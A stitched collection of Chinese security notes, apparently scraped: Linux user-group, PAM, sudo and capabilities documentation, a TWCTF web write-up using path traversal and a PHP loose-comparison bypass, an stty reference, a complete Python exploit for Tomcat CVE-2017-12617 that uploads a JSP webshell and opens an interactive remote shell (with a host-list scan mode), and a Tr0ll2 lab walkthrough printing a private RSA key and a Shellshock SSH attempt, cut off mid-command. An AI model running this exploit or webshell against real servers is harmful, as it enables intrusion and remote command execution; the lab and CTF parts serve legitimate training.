组是 lamp 用户的初始组。如果要查询这些用户的初始组,则需要先到 `/etc/passwd` 文件中查看 GID(第四个字段),然后到 `/etc/group` 文件中比对组名。 每个用户都可以加入多个附加组,但是只能属于一个初始组。所以我们在实际工作中,如果需要把用户加入其他组,则需要以附加组的形式添加。例如,我们想让 lamp 也加入 root 这个群组,那么只需要在第一行的最后一个字段加入 lamp,即 root:x:0:lamp 就可以了。 一般情况下,用户的初始组就是在建立用户的同时建立的和用户名相同的组。 **/etc/gshadow** `/etc/passwd` 文件存储用户基本信息,同时考虑到账户的安全性,将用户的密码信息存放另一个文件 `/etc/shadow` 中。`/etc/gshadow` 文件也是如此,组用户信息存储在 `/etc/group` 文件中,而将组用户的密码信息存储在 `/etc/gshadow` 文件中。 ```bash root:*:: daemon:*:: bin:*:: sys:*:: ... test:!:: ``` 文件中,每行代表一个组用户的密码信息,各行信息用 ":" 作为分隔符分为 4 个字段 每个字段的含义如下:组名:加密密码:组管理员:组附加用户列表 - 组名 同 `/etc/group` 文件中的组名相对应。 - 组密码 对于大多数用户来说,通常不设置组密码,因此该字段常为空,但有时为 "!",指的是该群组没有组密码,也不设有群组管理员。 - 组管理员 从系统管理员的角度来说,该文件最大的功能就是创建群组管理员。那么,什么是群组管理员呢? 考虑到 Linux 系统中账号太多,而超级管理员 root 可能比较忙碌,因此当有用户想要加入某群组时,root 或许不能及时作出回应。这种情况下,如果有群组管理员,那么他就能将用户加入自己管理的群组中,也就免去麻烦 root 了。 不过,由于目前有 sudo 之类的工具,因此群组管理员的这个功能已经很少使用了。 - 组中的附加用户 该字段显示这个用户组中有哪些附加用户,和 `/etc/group` 文件中附加组显示内容相同。 --- ## PAM 在 Linux 中执行有些程序时,这些程序在执行前首先要对启动它的用户进行认证,符合一定的要求之后才允许执行,例如 login, su 等。在 Linux 中进行身份或是状态的验证程序是由 PAM 来进行的,PAM(Pluggable Authentication Modules)可动态加载验证模块,因为可以按需要动态的对验证的内容进行变更,所以可以大大提高验证的灵活性。 Linux-PAM(即 linux 可插入认证模块)是一套共享库,使本地系统管理员可以随意选择程序的认证方式。换句话说,不用(重新编写)重新编译一个包含 PAM 功能的应用程序,就可以改变它使用的认证机制,这种方式下,就算升级本地认证机制,也不用修改程序。 PAM 使用配置 `/etc/pam.d/` 下的文件,来管理对程序的认证方式.应用程序 调用相应的配置文件,从而调用本地的认证模块.模块放置在 `/lib/security` 下,以加载动态库的形式进,像我们使用 su 命令时,系统会提示你输入 root 用户的密码.这就是 su 命令通过调用 PAM 模块实现的。 **PAM 的配置文件** PAM 配置文件有两种写法: - 一种是写在 `/etc/pam.conf` 文件中,但 centos6 之后的系统中,这个文件就没有了。 - 另一种写法是,将 PAM 配置文件放到 `/etc/pam.d/` 目录下,其规则内容都是不包含 service 部分的,即不包含服务名称,而 `/etc/pam.d` 目录下文件的名字就是服务名称。如: vsftpd,login 等.,只是少了最左边的服务名列.如: `/etc/pam.d/sshd` 查看 `/etc/pam.d/sshd` 由上图可以将配置文件分为四列, - 第一列代表模块类型 - 第二列代表控制标记 - 第三列代表模块路径 - 第四列代表模块参数 PAM 的配置文件详细语法见 [pam](../实验/pam.md) **PAM 的模块类型** Linux-PAM 有四种模块类型,分别代表四种不同的任务 它们是:认证管理(auth),账号管理(account),会话管理(session)和密码(password)管理,一个类型可能有多行,它们按顺序依次由 PAM 模块调用. - *auth* : 用来对用户的身份进行识别.如:提示用户输入密码,或判断用户是否为 root 等. - *account* : 对帐号的各项属性进行检查.如:是否允许登录,是否达到最大用户数,或是 root 用户是否允许在这个终端登录等. - *session* : 这个模块用来定义用户登录前的,及用户退出后所要进行的操作.如:登录连接信息,用户数据的打开与关闭,挂载文件系统等. - *password* : 使用用户信息来更新.如:修改用户密码. **PAM 的控制标记** PAM 使用控制标记来处理和判断各个模块的返回值 - *required* : 表示即使某个模块对用户的验证失败,也要等所有的模块都执行完毕后,PAM 才返回错误信息。这样做是为了不让用户知道被哪个模块拒绝。如果对用户验证成功,所有的模块都会返回成功信息。 - *requisite* : 与 required 相似,但是如果这个模块返回失败,则立刻向应用程序返回失败,表示此类型失败.不再进行同类型后面的操作. - *sufficient* : 表示如果一个用户通过这个模块的验证,PAM 结构就立刻返回验证成功信息(即使前面有模块 fail 了,也会把 fail 结果忽略掉),把控制权交回应用程序。后面的层叠模块即使使用 requisite 或者 required 控制标志,也不再执行。如果验证失败,sufficient 的作用和 optional 相同 - *optional* : 表示即使本行指定的模块验证失败,也允许用户接受应用程序提供的服务,一般返回 PAM_IGNORE (忽略). **模块路径** 模块路径.即要调用模块的位置. 如果是 64 位系统,一般保存在 `/lib64/security`,如: pam_unix.so 同一个模块,可以出现在不同的类型中.它在不同的类型中所执行的操作都不相同.这是由于每个模块 针对不同的模块类型,编制了不同的执行函数. **模块参数** 模块参数,即传递给模块的参数.参数可以有多个,之间用空格分隔开,如: ``` password required pam_unix.so nullok obscure min=4 max=8 md5 ``` **常用的 PAM 模块介绍** pam_unix.so - auth 提示用户输入密码,并与 `/etc/shadow` 文件相比对.匹配返回 0 - account 检查用户的账号信息(包括是否过期等).帐号可用时,返回 0. - password 修改用户的密码. 将用户输入的密码,作为用户的新密码更新 shadow 文件 pam_shells.so - 如果用户想登录系统,那么它的 shell 必须是在 `/etc/shells` 文件中之一的 shell pam_deny.so - 该模块可用于拒绝访问 pam_permit.so - 模块任何时候都返回成功. pam_securetty.so - auth 如果用户要以 root 登录时,则登录的 tty 必须在 `/etc/securetty` 之中. pam_listfile.so - 访问应用程的控制开关 pam_cracklib.so - password 这个模块可以插入到一个程序的密码栈中,用于检查密码的强度. pam_limits.so - session 定义使用系统资源的上限,root 用户也会受此限制,可以通过 `/etc/security/limits.conf` 或 `/etc/security/limits.d/*.conf` 来设定 --- ## sudo sudo 命令用来以其他身份来执行命令,预设的身份为 root。在 `/etc/sudoers` 中设置了可执行 sudo 指令的用户。若其未经授权的用户企图使用 sudo,则会发出警告的邮件给管理员。用户使用 sudo 时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码。 ```bash sudo -v # 查看 sudo 信息 sudo -l # 查看当前权限 ``` **执行原理** 普通用户执行命令 -> 检查 `/var/db/sudo/` 目录下是否有用户时间戳 -> 检查 `/etc/sudoers` 配置文件,用户是否有 sudo 权限 -> 执行 sudo 命令并反回结果 -> 退出 sudo 返回普通用户 shell 环境。 **配置 sudo** 配置 sudo 必须通过编辑 `/etc/sudoers` 文件,而且只有超级用户才可以修改它,还必须使用 visudo 编辑。之所以使用 visudo 有两个原因,一是它能够防止两个用户同时修改它;二是它也能进行有限的语法检查。所以,即使只有你一个超级用户,你也最好用 visudo 来检查一下语法。 visudo 默认的是在 vi 里打开配置文件,用 vi 来修改文件。我们可以在编译时修改这个默认项。visudo 不会擅自保存带有语法错误的配置文件,它会提示你出现的问题,并询问该如何处理,就像: ``` >>> sudoers file: syntax error, line 22 << ``` 此时我们有三种选择:键入“e”是重新编辑,键入“x”是不保存退出,键入“Q”是退出并保存。如果真选择 Q,那么 sudo 将不会再运行,直到错误被纠正。 --- 从一个简单的例子开始:让用户 Foobar 可以通过 sudo 执行所有 root 可执行的命令。以 root 身份用 visudo 打开配置文件,可以看到类似下面几行: ```bash # Runas alias specification # User privilege specificationroot ALL=(ALL)ALL ``` root 有所有权限,只要仿照现有 root 的例子就行,我们在下面加一行(最好用 tab 作为空白) ``` foobar ALL=(ALL) ALL ``` 保存退出后,切换到 foobar 用户,我们用它的身份执行命令: ``` [foobar@localhost ~]$ ls /root ls: /root: 权限不够 [foobar@localhost ~]$ sudo ls /root PassWord: anaconda-ks.cfg Desktop install.log install.log.syslog ``` 限制一下 foobar 的权利,不让他为所欲为。比如我们只想让他像 root 那样使用 ls 和 ifconfig,把那一行改为: ``` foobar localhost= /sbin/ifconfig, /bin/ls ``` 再来执行命令 ``` [foobar@localhost ~]$ sudo head -5 /etc/shadow Password: Sorry, user foobar is not allowed to execute '/usr/bin/head -5 /etc/shadow' as root on localhost.localdomain. [foobar@localhost ~]$ sudo /sbin/ifconfigeth0 Linkencap:Ethernet HWaddr 00:14:85:EC:E9:9B... ``` 现在让我们来看一下那三个 ALL 到底是什么意思。 - 第一个 ALL 指示允许从任何终端、机器访问 sudo,是指网络中的主机,我们后面把它改成了主机名,它指明 foobar 可以在此主机上执行后面的命令。 - 第二个 ALL 指示 sudo 命令被允许以任何用户身份执行,指目标用户,也就是以谁的身份去执行命令。 - 第三个 ALL 表示所有命令都可以作为 root 执行,指命令名。例如,我们想让 foobar 用户在 linux 主机上以 jimmy 或 rene 的身份执行 kill 命令,这样编写配置文件: ``` foobar linux=(jimmy,rene) /bin/kill ``` 但这还有个问题,foobar 到底以 jimmy 还是 rene 的身份执行?这时我们应该想到了 `sudo -u` 了,它正是用在这种时候。 foobar 可以使用 `sudo -u jimmy kill PID` 或者 `sudo -u rene kill PID`,但这样挺麻烦,其实我们可以不必每次加 -u,把 rene 或 jimmy 设为默认的目标用户即可。再在上面加一行: ``` Defaults:foobar runas_default=rene ``` Defaults 后面如果有冒号,是对后面用户的默认,如果没有,则是对所有用户的默认。就像配置文件中自带的一行: ``` Defaults env_reset ``` 另一个问题是,很多时候,我们本来就登录了,每次使用 sudo 还要输入密码就显得烦琐了。我们可不可以不再输入密码呢?当然可以,我们这样修改配置文件: ``` foobar localhost=NOPASSWD: /bin/cat, /bin/ls ``` **日志与安全** sudo 为安全考虑得很周到,不仅可以记录日志,还能在有必要时向系统管理员报告。但是,sudo 的日志功能不是自动的,必须由管理员开启。这样来做: ```bash touch /var/log/sudo vi /etc/syslog.conf ``` > 注: 内核为2.6.32以后 syslog 被命名为 rsyslog,所以配置文件名称也不一样 在 `syslog.conf` 最后面加一行(必须用 tab 分割开)并保存: ```diff ++ local2.debug /var/log/sudo ``` 重启日志守候进程 ```bash ps aux grep syslogd ``` 把得到的 syslogd 进程的 PID(输出的第二列是 PID)填入下面: ```bash kill -HUP PID ``` 这样,sudo 就可以写日志了 不过,有一个小小的“缺陷”,sudo 记录日志并不是很忠实: ```bash cat /etc/shadow > /dev/null cat /var/log/sudo...Jul 28 23:10:24 localhost sudo: foobar : TTY=pts/1 ; PWD=/home/foobar ; USER=root ; COMMAND=/bin/cat /etc/shadow ``` 重定向没有被记录在案!为什么?因为在命令运行之前,shell 把重定向的工作做完了,sudo 根本就没看到重定向。这也有个好处,下面的手段不会得逞: ``` [foobar@localhost ~]$ sudo ls /root > /etc/shadowbash: /etc/shadow: 权限不够 ``` sudo 有自己的方式来保护安全。以 root 的身份执行 sudo -V,查看一下 sudo 的设置。因为考虑到安全问题,一部分环境变量并没有传递给 sudo 后面的命令,或者被检查后再传递的,比如:PATH,HOME,SHELL等。 > 注: 执行sudo的时候必须要有一个tty去运行sudo --- ## Capabilities 从前,要使被普通用户执行的某个程序有特殊权限,一般我们会给这个程序设置 suid,于是普通用户执行该程序时就会以 root 的身份来执行。比如,`/usr/bin/passwd` 这个可执行文件就带有 suid,普通用户执行它时会以 root 身份执行,所以 passwd 才能读取并修改 `/etc/shadow` 文件。 可以看到,使用 suid 有一个弊端,那就是以 root 身份执行的程序有了所有特权,这会带来安全风险。Kernel 从 2.2 版本开始,提供了 Capabilities 功能,它把特权划分成不同单元,可以只授权程序所需的权限,而非所有特权。 Capabilities 的主要思想在于分割 root 用户的特权,即将 root 的特权分割成不同的能力,每种能力代表一定的特权操作。例如:能力 CAP_SYS_MODULE 表示用户能够加载(或卸载)内核模块的特权操作,而 CAP_SETUID 表示用户能够修改进程用户身份的特权操作。在 Capbilities 中系统将根据进程拥有的能力来进行特权操作的访问控制。 举个例子 : 安装 Wireshark 的时候,有一步是给 dumpcap 读网卡的权限,使得普通用户也可以使用 Wireshark 进行抓包。 ```bash setcap 'CAP_NET_RAW+eip CAP_NET_ADMIN+eip' /usr/sbin/dumpcap ``` 在 RHEL6 中,普通用户能执行 ping 命令是因为 `/bin/ping` 设置了 suid,将 `/bin/ping` 的 suid 去除,普通用户则无法执行 ping. ```bash chmod 755 /bin/ping ping www.baidu.com ``` 在 root 用户下,用 setcap 命令给 `/bin/ping` 这个可执行文件加上 “cap_net_admin,cap_net_raw+ep” 权限,普通用户即可使用 ping. ```bash setcap 'cap_net_admin,cap_net_raw+ep' /bin/ping getcap /bin/ping ping www.baidu.com ``` setcap 一般用于二进制可执行文件。setcap 用于脚本文件时无效(比如以 `#!/bin/python` 开头的脚本文件) 在 Linux 中的 Capabilities 是通过 extended attributes 中的 security 命名空间实现的。主流的 Linux 文件系统都支持 Extended attributes,包括 Ext2, Ext3, Ext4, Btrfs, JFS, XFS 和 Reiserfs. ```bash getfattr -d -m "security\\." /bin/ping ``` 在 Capilities 中,只有进程和可执行文件才具有能力,每个进程拥有三组能力集,分别称为 cap_effective, cap_inheritable, cap_permitted(分别简记为: pE,pI,pP),其中 cap_permitted 表示进程所拥有的最大能力集;cap_effective 表示进程当前可用的能力集,可以看做是 cap_permitted 的一个子集;而 cap_inheitable 则表示进程可以传递给其子进程的能力集。系统根据进程的 cap_effective 能力集进行访问控制,cap_effective 为 cap_permitted 的子集,进程可以通过取消 cap_effective 中的某些能力来放弃进程的一些特权。可执行文件也拥有三组能力集,对应于进程的三组能力集,分别称为 cap_effective, cap_allowed 和 cap_forced(分别简记为 fE,fI,fP),其中,cap_allowed 表示程序运行时可从原进程的 cap_inheritable 中集成的能力集,cap_forced 表示运行文件时必须拥有才能完成其服务的能力集;而 cap_effective 则表示文件开始运行时可以使用的能力。 --- ## Source & Reference * [系统加固之Linux安全加固](https://mp.weixin.qq.com/s/cj2IpePACewH2wqXFgKTDw) * [linux中pam模块](https://blog.51cto.com/essun/1391133) * [sudo命令](https://man.linuxde.net/sudo) * [对 Capabilities (libcap, getcap, setcap) 的基本了解](https://feichashao.com/capabilities_basic/)
sec-knowleage
# Freshen uploader (web) ## ENG [PL](#pl-version) It was a basic 2-stage web task. We get link to a webpage which is supposed to be some uploader service, but upload is disabled. We can see 3 uploaded files and we can dowload them. Download link is for example: `fup.chal.ctf.westerns.tokyo/download.php?f=6a92b449761226434f5fce6c8e87295a` We instantly get interested in the GET parameter `f` and what exactly it might mean. It looks like some kind of hash, but it's always a good idea to play a little bit with those, just to verify what they might be. It turns out that in fact the parameter is not some hash stored in DB, but simply a file name! We can pass `../index.php` and download the index file for example. The only interesting part in index.php is: ```php include('file_list.php'); ``` Which indicates some interesting file we might want to download, however we can't! We proceed to get the [download.php](download.php) file to verify how this feature works in the first place. There is the first flag: `TWCTF{then_can_y0u_read_file_list?}` The script is quite simple: ```php $filename = $_GET['f']; if(stripos($filename, 'file_list') != false) die(); header("Contest-Type: application/octet-stream"); header("Content-Disposition: attachment; filename='$filename'"); readfile("uploads/$filename"); ``` We need to bypass the check `if(stripos($filename, 'file_list') != false) die();` but we also need to download the file which clearly has `file_list` in the name! We quickly notice `!=` comparison here, which is very unsafe in PHP, and most likely the vulnerability here. This comparison can cast the result value to perform comparison. If we check what exactly `stripos` returns, it is the start index at which given string contains the target string. Specifically if the variable starts with target string, `stripos` will return `0`, and comparison `!=` and `==` might cast this to `false` boolean! It means that sending simply `f=file_list.php` can bypass the check, but the file is in directory one level higher so we need some `../`. But this is not really difficult since directory traversal doesn't require the whole tree to actually be there! Just the final path has to be correct, so we can send `f=file_list/../../file_list.php` This will bypass check since string starts with `file_list` and at the same time the effective path is `../file_list.php` which is what we need. In the file we have a name of the second flag file `flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213` and we can grab it to get the other flag: `TWCTF{php_is_very_secure}` ## PL version
sec-knowleage
stty === 修改终端命令行的相关设置 ## 补充说明 **stty命令** 修改终端命令行的相关设置。 ### 语法 ```shell stty(选项)(参数) ``` ### 选项 ```shell -a:以容易阅读的方式打印当前的所有配置; -g:以stty可读方式打印当前的所有配置。 ``` ### 参数 终端设置:指定终端命令行的设置选项。 ### 实例 **在命令行下,禁止输出大写的方法:** ```shell stty iuclc #开启 stty -iuclc #恢复 ``` **在命令行下禁止输出小写:** ```shell stty olcuc #开启 stty -olcuc #恢复 ``` **打印出终端的行数和列数:** ```shell stty size ``` **改变Ctrl+D的方法:** ```shell stty eof "string" ``` 系统默认是Ctrl+D来表示文件的结束,而通过这种方法,可以改变! **屏蔽显示:** ```shell stty -echo #禁止回显 stty echo #打开回显 ``` 测试方法: ```shell stty -echo;read;stty echo;read ``` **忽略回车符:** ```shell stty igncr #开启 stty -igncr #恢复 ``` **定时输入:** ```shell timeout_read() { timeout=$1 old_stty_settings=`stty -g`  #save current settings stty -icanon min 0 time 100  #set 10seconds,not 100seconds eval read varname   #=read $varname stty "$old_stty_settings"   #recover settings } ``` 更简单的方法就是利用read命令的`-t`选项: ```shell read -t 10 varname ```
sec-knowleage
#!/usr/bin/python # From https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/tomcat-cve-2017-12617.py """ ./cve-2017-12617.py [options] options: -u ,--url [::] check target url if it's vulnerable -p,--pwn [::] generate webshell and upload it -l,--list [::] hosts list [+]usage: ./cve-2017-12617.py -u http://127.0.0.1 ./cve-2017-12617.py --url http://127.0.0.1 ./cve-2017-12617.py -u http://127.0.0.1 -p pwn ./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn ./cve-2017-12617.py -l hotsts.txt ./cve-2017-12617.py --list hosts.txt """ from __future__ import print_function from builtins import input from builtins import str from builtins import object import requests import re import signal from optparse import OptionParser class bcolors(object): HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' banner=""" _______ ________ ___ ___ __ ______ __ ___ __ __ ______ / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ [@intx0x80] """ def signal_handler(signal, frame): print ("\033[91m"+"\n[-] Exiting"+"\033[0m") exit() signal.signal(signal.SIGINT, signal_handler) def removetags(tags): remove = re.compile('<.*?>') txt = re.sub(remove, '\n', tags) return txt.replace("\n\n\n","\n") def getContent(url,f): headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} re=requests.get(str(url)+"/"+str(f), headers=headers) return re.content def createPayload(url,f): evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>' headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers) if req.status_code==201: print("File Created ..") def RCE(url,f): EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+""" <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre>""" headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} req=requests.put(str(url)+f+"/",data=EVIL, headers=headers) def shell(url,f): while True: headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} cmd=input("$ ") payload={'cmd':cmd} if cmd=="q" or cmd=="Q": break re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers) re=str(re.content) t=removetags(re) print(t) #print bcolors.HEADER+ banner+bcolors.ENDC parse=OptionParser( bcolors.HEADER+""" _______ ________ ___ ___ __ ______ __ ___ __ __ ______ / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ ./cve-2017-12617.py [options] options: -u ,--url [::] check target url if it's vulnerable -p,--pwn [::] generate webshell and upload it -l,--list [::] hosts list [+]usage: ./cve-2017-12617.py -u http://127.0.0.1 ./cve-2017-12617.py --url http://127.0.0.1 ./cve-2017-12617.py -u http://127.0.0.1 -p pwn ./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn ./cve-2017-12617.py -l hotsts.txt ./cve-2017-12617.py --list hosts.txt [@intx0x80] """+bcolors.ENDC ) parse.add_option("-u","--url",dest="U",type="string",help="Website Url") parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it") parse.add_option("-l","--list",dest="L",type="string",help="hosts File") (opt,args)=parse.parse_args() if opt.U==None and opt.P==None and opt.L==None: print(parse.usage) exit(0) else: if opt.U!=None and opt.P==None and opt.L==None: print(bcolors.OKGREEN+banner+bcolors.ENDC) url=str(opt.U) checker="Poc.jsp" print(bcolors.BOLD +"Poc Filename {}".format(checker)) createPayload(str(url)+"/",checker) con=getContent(str(url)+"/",checker) if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC) print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC) else: print('Not Vulnerable to CVE-2017-12617 ') elif opt.P!=None and opt.U!=None and opt.L==None: print(bcolors.OKGREEN+banner+bcolors.ENDC) pwn=str(opt.P) url=str(opt.U) print("Uploading Webshell .....") pwn=pwn+".jsp" RCE(str(url)+"/",pwn) shell(str(url),pwn) elif opt.L!=None and opt.P==None and opt.U==None: print(bcolors.OKGREEN+banner+bcolors.ENDC) w=str(opt.L) f=open(w,"r") print("Scaning hosts in {}".format(w)) checker="Poc.jsp" for i in f.readlines(): i=i.strip("\n") createPayload(str(i)+"/",checker) con=getContent(str(i)+"/",checker) if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
sec-knowleage
# Troll 2 > https://download.vulnhub.com/tr0ll/Tr0ll2.rar > > https://download.vulnhub.com/tr0ll/Tr0ll2_vbox.rar 靶场IP:`192.168.32.173` ![image-20220718103332901](../../.gitbook/assets/image-20220718103332901.png) 扫描对外端口 ``` ┌──(root💀kali)-[/opt/linux-exploit-suggester] └─# nmap -p 1-65535 192.168.32.173 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-17 22:34 EDT Nmap scan report for 192.168.32.173 Host is up (0.0045s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:92:0B:06 (VMware) Nmap done: 1 IP address (1 host up) scanned in 5.30 seconds ``` 访问FTP,没有匿名登陆 ![image-20220718103500929](../../.gitbook/assets/image-20220718103500929.png) 使用`Tr0ll:Tr0ll`进行访问 ``` ┌──(root💀kali)-[/tmp] └─# ftp 192.168.32.173 Connected to 192.168.32.173. 220 Welcome to Tr0ll FTP... Only noobs stay for a while... Name (192.168.32.173:root): Tr0ll 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 1474 Oct 04 2014 lmao.zip 226 Directory send OK. ftp> get lmao.zip local: lmao.zip remote: lmao.zip 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for lmao.zip (1474 bytes). 226 Transfer complete. 1474 bytes received in 0.01 secs (133.2210 kB/s) ``` 解压目录,需要密码 ![image-20220718121400896](../../.gitbook/assets/image-20220718121400896.png) 访问80端口 ![image-20220718103543646](../../.gitbook/assets/image-20220718103543646.png) 对WEB进行目录爆破 ![image-20220718103635950](../../.gitbook/assets/image-20220718103635950.png) 访问robot文件 ![image-20220718103655093](../../.gitbook/assets/image-20220718103655093.png) 使用这个目录字典进行爆破 ``` ┌──(root💀kali)-[/tmp] └─# dirb http://192.168.32.173 mulu.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun Jul 17 22:37:53 2022 URL_BASE: http://192.168.32.173/ WORDLIST_FILES: mulu.txt ----------------- GENERATED WORDS: 21 ---- Scanning URL: http://192.168.32.173/ ---- + http://192.168.32.173//noob (CODE:301|SIZE:315) + http://192.168.32.173//keep_trying (CODE:301|SIZE:322) + http://192.168.32.173//dont_bother (CODE:301|SIZE:322) + http://192.168.32.173//ok_this_is_it (CODE:301|SIZE:324) ----------------- END_TIME: Sun Jul 17 22:37:53 2022 DOWNLOADED: 21 - FOUND: 4 ``` 访问这几个目录,都是显示同一张图片 ![image-20220718103929156](../../.gitbook/assets/image-20220718103929156.png) 查看页面源代码 ![image-20220718103949219](../../.gitbook/assets/image-20220718103949219.png) 需要访问`/dont_bother/`才有信息 ![image-20220718104347567](../../.gitbook/assets/image-20220718104347567.png) 访问`/y0ur_self`目录 ![image-20220718104440623](../../.gitbook/assets/image-20220718104440623.png) 这些字典是base64加密 ``` ┌──(root💀kali)-[/tmp] └─# cat answer.txt | base64 -d > pass.txt ``` > ``` > base64 --decode answer.txt > decoded.txt > ``` 爆破压缩包密码 ``` ┌──(root💀kali)-[/tmp] └─# fcrackzip -u -D -p pass.txt lmao.zip PASSWORD FOUND!!!!: pw == ItCantReallyBeThisEasyRightLOL ``` 解压成功,是一个公钥文件 ``` ┌──(root💀kali)-[/tmp] └─# file noob noob: PEM RSA private key ┌──(root💀kali)-[/tmp] └─# cat noob -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAsIthv5CzMo5v663EMpilasuBIFMiftzsr+w+UFe9yFhAoLqq yDSPjrmPsyFePcpHmwWEdeR5AWIv/RmGZh0Q+Qh6vSPswix7//SnX/QHvh0CGhf1 /9zwtJSMely5oCGOujMLjDZjryu1PKxET1CcUpiylr2kgD/fy11Th33KwmcsgnPo q+pMbCh86IzNBEXrBdkYCn222djBaq+mEjvfqIXWQYBlZ3HNZ4LVtG+5in9bvkU5 z+13lsTpA9px6YIbyrPMMFzcOrxNdpTY86ozw02+MmFaYfMxyj2GbLej0+qniwKy e5SsF+eNBRKdqvSYtsVE11SwQmF4imdJO0buvQIDAQABAoIBAA8ltlpQWP+yduna u+W3cSHrmgWi/Ge0Ht6tP193V8IzyD/CJFsPH24Yf7rX1xUoIOKtI4NV+gfjW8i0 gvKJ9eXYE2fdCDhUxsLcQ+wYrP1j0cVZXvL4CvMDd9Yb1JVnq65QKOJ73CuwbVlq UmYXvYHcth324YFbeaEiPcN3SIlLWms0pdA71Lc8kYKfgUK8UQ9Q3u58Ehlxv079 La35u5VH7GSKeey72655A+t6d1ZrrnjaRXmaec/j3Kvse2GrXJFhZ2IEDAfa0GXR xgl4PyN8O0L+TgBNI/5nnTSQqbjUiu+aOoRCs0856EEpfnGte41AppO99hdPTAKP aq/r7+UCgYEA17OaQ69KGRdvNRNvRo4abtiKVFSSqCKMasiL6aZ8NIqNfIVTMtTW K+WPmz657n1oapaPfkiMRhXBCLjR7HHLeP5RaDQtOrNBfPSi7AlTPrRxDPQUxyxx n48iIflln6u85KYEjQbHHkA3MdJBX2yYFp/w6pYtKfp15BDA8s4v9HMCgYEA0YcB TEJvcW1XUT93ZsN+lOo/xlXDsf+9Njrci+G8l7jJEAFWptb/9ELc8phiZUHa2dIh WBpYEanp2r+fKEQwLtoihstceSamdrLsskPhA4xF3zc3c1ubJOUfsJBfbwhX1tQv ibsKq9kucenZOnT/WU8L51Ni5lTJa4HTQwQe9A8CgYEAidHV1T1g6NtSUOVUCg6t 0PlGmU9YTVmVwnzU+LtJTQDiGhfN6wKWvYF12kmf30P9vWzpzlRoXDd2GS6N4rdq vKoyNZRw+bqjM0XT+2CR8dS1DwO9au14w+xecLq7NeQzUxzId5tHCosZORoQbvoh ywLymdDOlq3TOZ+CySD4/wUCgYEAr/ybRHhQro7OVnneSjxNp7qRUn9a3bkWLeSG th8mjrEwf/b/1yai2YEHn+QKUU5dCbOLOjr2We/Dcm6cue98IP4rHdjVlRS3oN9s G9cTui0pyvDP7F63Eug4E89PuSziyphyTVcDAZBriFaIlKcMivDv6J6LZTc17sye q51celUCgYAKE153nmgLIZjw6+FQcGYUl5FGfStUY05sOh8kxwBBGHW4/fC77+NO vW6CYeE+bA2AQmiIGj5CqlNyecZ08j4Ot/W3IiRlkobhO07p3nj601d+OgTjjgKG zp8XZNG8Xwnd5K59AVXZeiLe2LGeYbUKGbHyKE3wEVTTEmgaxF4D1g== -----END RSA PRIVATE KEY----- ``` 使用公钥SSH登录 ``` ┌──(root💀kali)-[/tmp] └─# ssh noob@192.168.32.173 -i noob TRY HARDER LOL! Connection to 192.168.32.173 closed. ``` 查看具体SSH链接信息 ![image-20220718121739480](../../.gitbook/assets/image-20220718121739480.png) 使用破壳漏洞 ``` ┌──(root💀kali)-[/tmp] └─# ssh noob@192.168.32.173 -i noob '() { :;}; echo Shellshock' Shellshock TRY HARDER LOL! ┌──(root💀kali)-[/tmp] └─# ssh noob@192.168.32.173 -i noob '() { :;}; 